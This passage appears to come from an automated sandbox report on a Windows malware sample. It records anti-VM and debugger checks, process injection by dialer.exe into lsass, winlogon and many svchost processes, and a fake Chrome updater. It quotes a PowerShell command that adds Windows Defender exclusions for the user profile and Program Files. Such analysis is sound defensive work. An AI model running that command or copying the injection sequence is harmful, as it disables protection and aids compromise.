Source: lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: pvmicheartbeatNT SERVICE
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Get-NetEventVmNetworkAdapter
Source: dwm.exe, 0000000B.00000000.1365136495.000001C6CAD12000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: lsass.exe, 00000009.00000000.1347907682.000001CB32A13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2635390523.000001CB32A13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000A.00000000.1352273729.0000026E02813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2633516653.0000026E02813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2628456366.0000016C20A27000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000000.1400209523.0000016C20A27000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2618112358.0000026F4742A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000000.1401896653.0000026F4742A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2636780084.0000020421C41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.1407107755.0000020421C41000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 0000000B.00000000.1365136495.000001C6CAD12000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: C:\Windows\System32\dialer.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dialer.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_000002EA8A69B50C
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C2328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx, 5_2_00007FF67E6C2328
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\dialer.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_000002EA8A69B50C
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A697E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_000002EA8A697E70
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338E7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_000001CB338E7E70
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_000001CB338EB50C
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0000026E027CB50C
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027C7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0000026E027C7E70
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_000001C6CEF1B50C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF17E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_000001C6CEF17E70
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_0000025304FBB50C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FB7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_0000025304FB7E70
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0000016C2116B50C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C21167E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0000016C21167E70
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0000016C211CB50C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211C7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0000016C211C7E70
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 14_2_0000026F4814B50C
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F48147E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 14_2_0000026F48147E70
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B92347E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0000029B92347E70
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0000029B9234B50C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923A7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0000029B923A7E70
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923AB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 15_2_0000029B923AB50C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AAB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 16_2_0000020422AAB50C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AA7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 16_2_0000020422AA7E70
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287B7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 17_2_00000206287B7E70
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 17_2_00000206287BB50C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_0000028471397E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 20_2_0000028471397E70
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 20_2_000002847139B50C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_2_000001829254B50C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_0000018292547E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 21_2_0000018292547E70
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA67E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 24_2_000001BB3DA67E70
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 24_2_000001BB3DA6B50C
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_0000029ABCF4B50C
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF47E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 25_2_0000029ABCF47E70
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DD7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 28_2_0000025E81DD7E70
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 28_2_0000025E81DDB50C
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD87E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 29_2_000001CD9AD87E70
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 29_2_000001CD9AD8B50C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39B50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 31_2_000002AF8C39B50C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C397E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 31_2_000002AF8C397E70

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\winlogon.exe base: 2EA8A660000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\lsass.exe base: 1CB338B0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 26E02790000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\dwm.exe base: 1C6CEEE0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 25304F80000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 16C21130000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 26F47BD0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 29B91DD0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 204227B0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 20628780000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 182924D0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471250000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1BB3D3C0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 29ABCEE0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\winlogon.exe base: 2EA8A6E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\lsass.exe base: 1CB33910000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 26E033A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\dwm.exe base: 1C6CEF40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 25305540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 16C21190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 26F48170000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 29B92370000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 20422AD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 20628E80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 18292570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1BB3DA90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 29ABCF10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1CD9AD50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2AF8C360000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 145854A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2CC6C080000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1A6E9540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2BC418A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 19D14D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2251FF40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 24CD3730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2259C5B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 23504770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 22903F80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2158FFB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1FD855A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2995E1C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2A880020000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\spoolsv.exe base: E60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1E5EB130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 13949580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 295CE1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2251A000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2481AE30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2D0873D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 2527E340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 20217280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 26C3B960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1BB42B30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 19116860000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 28D05730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1E30EAE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 238FF4E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1D509FC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\sihost.exe base: 1DC06A00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 15E4FFA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1C4A5A70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 14D18D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 23CDFD30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1B7A1980000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: 1A53D510000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 19E88D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\explorer.exe base: 8EC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 21C72BA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\dasHost.exe base: 1CF2C040000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2B555D60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 18EDC3D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 153541C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 20B142B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 225E6D70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 195B0560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 219434A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2B118D70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 1F933320000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1F9683C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1E47CB90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 2673DA80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\conhost.exe base: 21A21380000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1CE44C00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 155B4770000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 255FC740000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 22D3F800000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471970000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C3A67E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\conhost.exe base: 25E81DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\svchost.exe base: 1FC1A070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1AE13BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\conhost.exe base: 21FBD160000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 20C8C170000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1DB4 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess, 5_2_00007FF67E6C1DB4
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\winlogon.exe EIP: 8A662908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\lsass.exe EIP: 338B2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 2792908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\dwm.exe EIP: CEEE2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 4F82908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 21132908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 47BD2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 91DD2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 227B2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 28782908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe EIP: 71252908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 924D2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 3D3C2908 Jump to behavior
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 8A6E2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 33912908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 33A2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: CEF42908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 5542908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 21192908
